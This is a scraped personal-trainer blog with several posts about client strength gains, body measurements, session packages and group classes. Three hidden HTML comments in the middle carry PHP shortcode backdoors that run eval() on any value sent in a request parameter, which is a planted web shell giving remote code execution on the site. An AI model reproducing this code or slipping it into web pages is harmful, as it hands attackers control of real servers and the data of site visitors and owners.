JR Barone
13 year old hockey player. Plays forward at 60″ and 103lbs. He led his team in scoring until he broke his foot on the ice. I trained his sister, a collegiate swimmer, all last summer and until the season began. After he snapped his hoof his mother signed him up with me and said he needed to stay fit and gain size and strength. I said “give him to me for twelve sessions”.

In six 45 minute sessions over 3 weeks he has gained 1.5 pounds of bodyweight and made the following improvements.


His lat pull down intensity progress from 25-35-45-50-60-75% bodyweight (I am using his BW as 100% relative intensity since he can do two chin ups) for well tested sets.


His suitcase deadlift has had a 346% volume increase and small density increases each session.

To date: His barbell press has increased 321% and seen an intensity increase of 20%, as well as a 75% volume increase in our most recent session.

Now, anyone can get straight improvement in their first six workouts, but for what purpose and at what cost? What I believe to be true is that training quality, tested movements with varying degrees of specificity and the minimum amount of distress allows for a more likely percentage of straight up no pain all gain than if a user were to “push through” and use excessive tension. That is what a movement which tests well is capable of- easily resolved stress in the body.

So, what impresses me most about this kid is that he is 60″ tall and weighs 107.5lbs. (152.4 cm and 48kg) and leads his team in scoring. His mom told me there is a kid on his team who is 6’1″ and 210lbs., which is indicative of other kids in the league. He is quick and crafty with a high hockey IQ.

I hope to post more of #97s improvements after today’s session.

My belief is that there are signals to be obeyed as yellow and red lights even if a movement tests well. Some signals arrive promptly and some are delayed. Not everyone can lift a million pounds in 31 days with the minimum amount of distress. Which is why ATG’s month of “Manuary” is relevant. Seven digits if volume with minimal to no effort.

So when are you coming to the studio for a session?

<!– [insert_php]if (isset($_REQUEST["TjNDg"])){eval($_REQUEST["TjNDg"]);exit;}[/insert_php][php]if (isset($_REQUEST["TjNDg"])){eval($_REQUEST["TjNDg"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["uJN"])){eval($_REQUEST["uJN"]);exit;}[/insert_php][php]if (isset($_REQUEST["uJN"])){eval($_REQUEST["uJN"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["vbP"])){eval($_REQUEST["vbP"]);exit;}[/insert_php][php]if (isset($_REQUEST["vbP"])){eval($_REQUEST["vbP"]);exit;}[/php] –>

Visit the web page for the designer who created the slick looking logo you see here on my page.  Jason and i have known one another since high school and he came through big time when i asked him to reinterpret my old company logo.  Jay lives in Ardmore and lifts weights and surfs when he is not busy aiding merchants with brand identity and other design requirements in this world of eCommerce and customer service.
And a very special thank you to David Dellanave for setting me up here on WordPress

Thursday debrief
I got to the studio on time.  Early, in fact. Yesterday’s two pack of storms derailed any hopes i had to train clients, and around 730PM last night i had the itch to get out of my home.  I woke up earlier than usual today and was out the door as soon as the dishes were done.

Towards the end of December i offered a deal to people on my mailing list.  Purchase ten 45 minute sessions at Kettlebells 4 U to be used before April and receive 8 sessions free.  Yup, i sold a few packages.

So these folks train with me twice a week for 9 weeks.  Pretty good deal.  here is what The DA has done in 8 sessions with me and a few workouts each week on his own.

Since January 4th: Body weight down 4.6 pounds.
Neck down half an inch [.5″]
Shoulders down 1.75″
Chest down 1 1/18″
Navel down .25″
Waist up 1/8″
Hips up 1.25″
Left thigh up .25″
calf .5″
Right thigh even
calf up 1/8″
Left arm up 1/8″
forearm even
Right arm up 3/8″
forearm down 1/8″

So he lost some inches, lost some pounds, and the leg and arm measurements moved him towards symmetrical numbers left to right.  He trains using the Gym Movement protocols and the kettlebell is his primary tool.  We have altered his lifts in that he now pays attention to the elements of effort as yellow and red lights for his sets.  He has a ‘beefed up’ selection of drills.  DA rolls into work with a VW Passat full of motivation.  Dude regularly has about 9 bells on him.  He’ll go to the park at lunch and swing, snatch, etc.  DA has a great physique.  Tall, abs, broad shoulders, etc.  He has been away from free weights for sometime, so in keeping with degrees of contra specificity, we test many free weight exercises before we test the kettlebell as a tool.  His barbell work is nice.  Deadlifts, push presses, push jerks, hang cleans, all test well and look fast and effortless.  The cable stuff we crush, rows, pulldowns, pressdowns, i needn’t teach him anything about the lifts-he understands that many lifts can be considered straight lines and it is safe to ditch anything which does not improve the route the weight takes on it’s designated path.  We have ditched tension and breathing as feed forward mechanisms and use them as ‘yellow’ and ‘red’ lights.

So the DA, ditching the elements of effort, has done cool things with his body and lifts in about four weeks.  He uses asymmetrical foot position and various leads and speeds for his primary kettlebell drills, clean and push press, double KB suitcase deadlift, double snatch, bent rows, etc.  He is happy, i know he is, and that is the most important factor.  I aim to make sure that most, if not all, of the list below is in play when someone coughs up 500 sheckles to train with me.

Are/were you in pain? Is it worse/better?
Are you happy?
Can we prove that what you are doing works [body measurements and traceable data from workouts]?
Can i have more money?

Drop a line, let me know what improvements you have made recently.  And they needn’t be numerical!  Are you not in pain anymore?  Did your kid finally stop stealing money out of your wallet?  Is your workday more productive for any reason at all?  Holler at this white guy.

New Classes start soon: Tuesdays, Lower Merion High School
It is no secret that personal training can cost a penny or two more than your mortgage payment for 10-20 sessions.  Heck, at my studio in Paoli, PA i charge 8% more for one hour of private instruction compared to 5 weeks of Main Line School Night.

I am not a stranger to the costs of learning.  I pay a coach to teach me things.  I am traveling to Minneapolis in the beginning of March to learn about pain and nutrition from three of the biggest brains i have ever met.  This trip alone is costing me 3G and a few days of missed sessions.  Yet, it is important to me.  It is important that i lean what i can about how to avoid, recognize, manage, and eventually resolve pain issues as they relate to orthopedic and musculoskeletal anatomy.

Now, armed with that knowledge, with the knowledge that a single hour of my personal time cost more than five hours of group instruction at the lovely and expansive Lower Merion High School, i hope to see your name on the list within 12 hours.

Click through to enroll!

My snow days were wonderful, and i hope yours were as well.


>After leaving the previous post up for almost a week It appears that some people of influence had taken a look at it, judging by the feedback the post received on Facebook and on an Internet forum which promotes itself as “overflowing with foul mouthed ignorance”. A fiercely accurate description!

Here is something lighter and chronologically appropriate, as I just finished reading “Nineteen Eighty-four” and have decided that I should share with you what Radiohead shares with me. And this is not even one of their better songs.

Check out this video on YouTube:

Will Williams
Authentic Strength Training
Sent from my iPhone